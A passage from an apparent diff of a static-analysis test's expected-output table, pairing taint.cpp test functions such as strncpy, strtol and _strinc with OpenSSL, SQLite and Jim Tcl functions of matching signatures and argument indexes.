*,void *) | | CONF_module_set_usr_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (CRYPTO_THREAD_LOCAL *,void *) | | CRYPTO_THREAD_set_local | 1 | +| taint.cpp:602:7:602:13 | _strinc | (DH_METHOD *,void *) | | DH_meth_set0_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (DSA_METHOD *,void *) | | DSA_meth_set0_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_CIPHER_CTX *,void *) | | EVP_CIPHER_CTX_set_cipher_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_KEYMGMT *,void *) | | evp_keymgmt_util_make_pkey | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_get1_id | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (EVP_PKEY_CTX *,void *) | | EVP_PKEY_CTX_set_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (Jim_Stack *,void *) | | Jim_StackPush | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OPENSSL_LHASH *,void *) | | OPENSSL_LH_insert | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_CALLBACK *,void *) | | OSSL_SELF_TEST_new | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_certConf_cb_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_http_cb_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_CMP_CTX *,void *) | | OSSL_CMP_CTX_set_transfer_cb_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_DECODER *,void *) | | ossl_decoder_instance_new | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_DECODER_CTX *,void *) | | OSSL_DECODER_CTX_set_construct_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_ENCODER_CTX *,void *) | | OSSL_ENCODER_CTX_set_construct_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_QRX *,void *) | | ossl_qrx_set_msg_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_QTX *,void *) | | ossl_qtx_set_msg_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (OSSL_QUIC_TX_PACKETISER *,void *) | | ossl_quic_tx_packetiser_set_msg_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (QUIC_CHANNEL *,void *) | | ossl_quic_channel_set_msg_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (RSA_METHOD *,void *) | | RSA_meth_set0_app_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL *,void *) | | SSL_set0_security_ex_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL *,void *) | | SSL_set_async_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL *,void *) | | SSL_set_default_passwd_cb_userdata | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL *,void *) | | SSL_set_record_padding_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set0_security_ex_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set_async_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set_default_passwd_cb_userdata | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set_record_padding_callback_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (SSL_CTX *,void *) | | SSL_CTX_set_srp_cb_arg | 1 | +| taint.cpp:602:7:602:13 | _strinc | (UI *,void *) | | UI_add_user_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (X509_CRL *,void *) | | X509_CRL_set_meth_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (X509_LOOKUP *,void *) | | X509_LOOKUP_set_method_data | 1 | +| taint.cpp:602:7:602:13 | _strinc | (const OSSL_DISPATCH *,void *) | | ossl_prov_free_key | 1 | +| taint.cpp:602:7:602:13 | _strinc | (const OSSL_PARAM[],void *) | | ossl_store_handle_load_result | 1 | +| taint.cpp:602:7:602:13 | _strinc | (const char *,void *) | | collect_names | 0 | +| taint.cpp:602:7:602:13 | _strinc | (const char *,void *) | | collect_names | 1 | +| taint.cpp:602:7:602:13 | _strinc | (int,void *) | | OSSL_STORE_INFO_new | 1 | +| taint.cpp:602:7:602:13 | _strinc | (int,void *) | | sqlite3_randomness | 1 | +| taint.cpp:602:7:602:13 | _strinc | (unsigned char *,void *) | | pitem_new | 1 | +| taint.cpp:603:16:603:22 | _mbsinc | (const unsigned char *) | | ossl_quic_vlint_decode_unchecked | 0 | | taint.cpp:603:16:603:22 | _mbsinc | (const unsigned char *) | CStringT | CStringT | 0 | | taint.cpp:603:16:603:22 | _mbsinc | (const unsigned char *) | CStringT | operator= | 0 | +| taint.cpp:604:16:604:22 | _strdec | (MD4_CTX *,const unsigned char *) | | MD4_Transform | 1 | +| taint.cpp:604:16:604:22 | _strdec | (RIPEMD160_CTX *,const unsigned char *) | | RIPEMD160_Transform | 1 | +| taint.cpp:604:16:604:22 | _strdec | (SM3_CTX *,const unsigned char *) | | ossl_sm3_transform | 1 | +| taint.cpp:604:16:604:22 | _strdec | (TLS_RL_RECORD *,const unsigned char *) | | ossl_tls_rl_record_set_seq_num | 1 | +| taint.cpp:606:6:606:17 | test__strinc | (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (EVP_CIPHER_INFO *,unsigned char *,long *,pem_password_cb *,void *) | | PEM_do_header | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (EVP_PKEY *,EVP_KEYMGMT *,void *,OSSL_CALLBACK *,void *) | | evp_keymgmt_util_gen | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (EVP_PKEY_CTX *,int,int,int,void *) | | RSA_pkey_ctx_ctrl | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (OSSL_QUIC_TX_PACKETISER *,const unsigned char *,size_t,ossl_quic_initial_token_free_fn *,void *) | | ossl_quic_tx_packetiser_set_initial_token | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_dec | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (char *,size_t,size_t *,const OSSL_PARAM[],void *) | | ossl_pw_passphrase_callback_enc | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (const BIGNUM *,int,..(*)(..),BN_CTX *,void *) | | BN_is_prime | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (const char *,int,int,..(*)(..),void *) | | CONF_parse_list | 4 | +| taint.cpp:606:6:606:17 | test__strinc | (sqlite3 *,const char *,const char *,..(*)(..),void *) | | recoverInit | 4 | +| taint.cpp:616:6:616:17 | test__mbsinc | (PKCS7 *,int,long,char *) | | PKCS7_ctrl | 3 | +| taint.cpp:616:6:616:17 | test__mbsinc | (SSL_CTX *,srpsrvparm *,char *,char *) | | set_up_srp_verifier_file | 3 | +| taint.cpp:616:6:616:17 | test__mbsinc | (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_init | 3 | +| taint.cpp:616:6:616:17 | test__mbsinc | (SSL_HMAC *,void *,size_t,char *) | | ssl_hmac_old_init | 3 | +| taint.cpp:616:6:616:17 | test__mbsinc | (action **,e_action,symbol *,char *) | | Action_add | 3 | +| taint.cpp:626:6:626:17 | test__strdec | (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 4 | +| taint.cpp:626:6:626:17 | test__strdec | (OSSL_LIB_CTX *,const char *,const QUIC_PKT_HDR *,const QUIC_CONN_ID *,unsigned char *) | | ossl_quic_calculate_retry_integrity_tag | 4 | +| taint.cpp:626:6:626:17 | test__strdec | (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 3 | +| taint.cpp:626:6:626:17 | test__strdec | (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_decrypt_fields | 4 | +| taint.cpp:626:6:626:17 | test__strdec | (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 3 | +| taint.cpp:626:6:626:17 | test__strdec | (QUIC_HDR_PROTECTOR *,const unsigned char *,size_t,unsigned char *,unsigned char *) | | ossl_quic_hdr_protector_encrypt_fields | 4 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | Strsafe | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | Symbol_new | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | UI_create_method | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | new_pkcs12_builder | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | opt_path_end | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | opt_progname | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:645:14:645:22 | _strnextc | (const char *) | | strhash | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | BIO_gethostbyname | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | Jim_StrDup | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | OPENSSL_LH_strhash | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | Strsafe | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | Symbol_new | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | UI_create_method | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | X509V3_parse_list | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | X509_LOOKUP_meth_new | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | a2i_IPADDRESS | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | a2i_IPADDRESS_NC | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | new_pkcs12_builder | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | opt_path_end | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | opt_progname | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | ossl_lh_strcasehash | 0 | +| taint.cpp:647:6:647:19 | test__strnextc | (const char *) | | strhash | 0 | +| taint.cpp:665:6:665:25 | test_no_const_member | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:665:6:665:25 | test_no_const_member | (char *) | | defossilize | 0 | +| taint.cpp:665:6:665:25 | test_no_const_member | (char *) | | make_uppercase | 0 | +| taint.cpp:665:6:665:25 | test_no_const_member | (char *) | | next_item | 0 | | taint.cpp:665:6:665:25 | test_no_const_member | (char *) | CStringT | CStringT | 0 | +| taint.cpp:677:6:677:27 | test_with_const_member | (char *) | | SRP_VBASE_new | 0 | +| taint.cpp:677:6:677:27 | test_with_const_member | (char *) | | defossilize | 0 | +| taint.cpp:677:6:677:27 | test_with_const_member | (char *) | | make_uppercase | 0 | +| taint.cpp:677:6:677:27 | test_with_const_member | (char *) | | next_item | 0 | | taint.cpp:677:6:677:27 | test_with_const_member | (char *) | CStringT | CStringT | 0 | +| taint.cpp:683:6:683:20 | argument_source | (void *) | | ossl_kdf_data_new | 0 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,OCSP_REQUEST *,unsigned long) | | OCSP_REQUEST_print | 2 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,OCSP_RESPONSE *,unsigned long) | | OCSP_RESPONSE_print | 2 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,X509 *,unsigned long) | | ossl_x509_print_ex_brief | 2 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,X509_CRL *,unsigned long) | | X509_CRL_print_ex | 2 | +| taint.cpp:707:8:707:14 | strncpy | (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | +| taint.cpp:707:8:707:14 | strncpy | (FILE *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex_fp | 2 | +| taint.cpp:707:8:707:14 | strncpy | (unsigned char *,int,unsigned long) | | UTF8_putc | 2 | +| taint.cpp:709:6:709:17 | test_strncpy | (ARGS *,char *) | | chopup_args | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (BIO *,char *) | | BIO_set_callback_arg | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (SRP_VBASE *,char *) | | SRP_VBASE_get1_by_user | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (SRP_VBASE *,char *) | | SRP_VBASE_get_by_user | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (SSL_CTX *,char *) | | SSL_CTX_set_srp_password | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (SSL_CTX *,char *) | | SSL_CTX_set_srp_username | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (const char *,char *) | | sha1sum_file | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (const char *,char *) | | sha3sum_file | 1 | +| taint.cpp:709:6:709:17 | test_strncpy | (unsigned long,char *) | | ERR_error_string | 1 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_BIT_STRING *,int,int) | | ASN1_BIT_STRING_set_bit | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_BIT_STRING *,unsigned char *,int) | | ASN1_BIT_STRING_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_OCTET_STRING **,const unsigned char *,int) | | ossl_cmp_asn1_octet_string_set1_bytes | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_OCTET_STRING *,const unsigned char *,int) | | ASN1_OCTET_STRING_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_STRING *,const void *,int) | | ASN1_STRING_set | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_STRING *,void *,int) | | ASN1_STRING_set0 | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_TIME *,tm *,int) | | ossl_asn1_time_from_tm | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_TYPE *,unsigned char *,int) | | ASN1_TYPE_set_octetstring | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_item_embed_free | 2 | +| taint.cpp:725:10:725:15 | strtol | (ASN1_VALUE **,const ASN1_ITEM *,int) | | ossl_asn1_primitive_free | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | BN_lshift | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | BN_rshift | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | BN_with_flags | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | bn_lshift_fixed_top | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const BIGNUM *,int) | | bn_rshift_fixed_top | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const unsigned long *,int) | | bn_set_static_words | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIGNUM *,const unsigned long *,int) | | bn_set_words | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,BIO *,int) | | OSSL_HTTP_REQ_CTX_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,BIO *,int) | | SMIME_crlf_copy | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,GENERAL_NAMES *,int) | | OSSL_GENERAL_NAMES_print | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,char *,int) | | BIO_get_line | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,const DSA *,int) | | DSA_print | 2 | +| taint.cpp:725:10:725:15 | strtol | (BIO *,const RSA *,int) | | RSA_print | 2 | +| taint.cpp:725:10:725:15 | strtol | (CERT *,X509_STORE **,int) | | ssl_cert_get_cert_store | 2 | +| taint.cpp:725:10:725:15 | strtol | (CRYPTO_THREAD_ROUTINE,void *,int) | | ossl_crypto_thread_native_start | 2 | +| taint.cpp:725:10:725:15 | strtol | (DH *,const OSSL_PARAM[],int) | | ossl_dh_key_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (DSA *,const OSSL_PARAM[],int) | | ossl_dsa_key_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (ECX_KEY *,const OSSL_PARAM[],int) | | ossl_ecx_key_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (EC_KEY *,const OSSL_PARAM[],int) | | ossl_ec_key_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (ENGINE *,ENGINE_DYNAMIC_ID,int) | | engine_add_dynamic_id | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_export_to_provider | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY *,EVP_KEYMGMT *,int) | | evp_keymgmt_util_find_operation_cache | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY *,EVP_PKEY *,int) | | evp_keymgmt_util_copy | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,EVP_PKEY *,int) | | EVP_PKEY_derive_set_peer_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const char *,int) | | EVP_PKEY_CTX_set1_pbe_pass | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_hkdf_info | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_add1_tls1_prf_seed | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_key | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_hkdf_salt | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_scrypt_salt | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set1_tls1_prf_secret | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const unsigned char *,int) | | EVP_PKEY_CTX_set_mac_key | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,const void *,int) | | EVP_PKEY_CTX_set1_id | 2 | +| taint.cpp:725:10:725:15 | strtol | (EVP_PKEY_CTX *,int *,int) | | EVP_PKEY_CTX_set0_keygen_info | 2 | +| taint.cpp:725:10:725:15 | strtol | (FFC_PARAMS *,unsigned int,int) | | ossl_ffc_params_enable_flags | 2 | +| taint.cpp:725:10:725:15 | strtol | (FILE *,const DSA *,int) | | DSA_print_fp | 2 | +| taint.cpp:725:10:725:15 | strtol | (FILE *,const RSA *,int) | | RSA_print_fp | 2 | +| taint.cpp:725:10:725:15 | strtol | (FILE *,rule *,int) | | RulePrint | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetCommand | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetGlobalVariable | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_GetVariable | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_ListGetIndex | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *,int) | | Jim_UnsetVariable | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewDictObj | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,Jim_Obj *const *,int) | | Jim_NewListObj | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,char *,int) | | Jim_NewStringObjNoAlloc | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| taint.cpp:725:10:725:15 | strtol | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| taint.cpp:725:10:725:15 | strtol | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| taint.cpp:725:10:725:15 | strtol | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| taint.cpp:725:10:725:15 | strtol | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| taint.cpp:725:10:725:15 | strtol | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| taint.cpp:725:10:725:15 | strtol | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| taint.cpp:725:10:725:15 | strtol | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| taint.cpp:725:10:725:15 | strtol | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| taint.cpp:725:10:725:15 | strtol | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| taint.cpp:725:10:725:15 | strtol | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| taint.cpp:725:10:725:15 | strtol | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| taint.cpp:725:10:725:15 | strtol | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | +| taint.cpp:725:10:725:15 | strtol | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,SSL *,int) | | create_ssl_connection | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,const void *,int) | | SSL_write | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,void *,int) | | SSL_peek | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,void *,int) | | SSL_read | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| taint.cpp:725:10:725:15 | strtol | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| taint.cpp:725:10:725:15 | strtol | (TS_REQ *,X509_EXTENSION *,int) | | 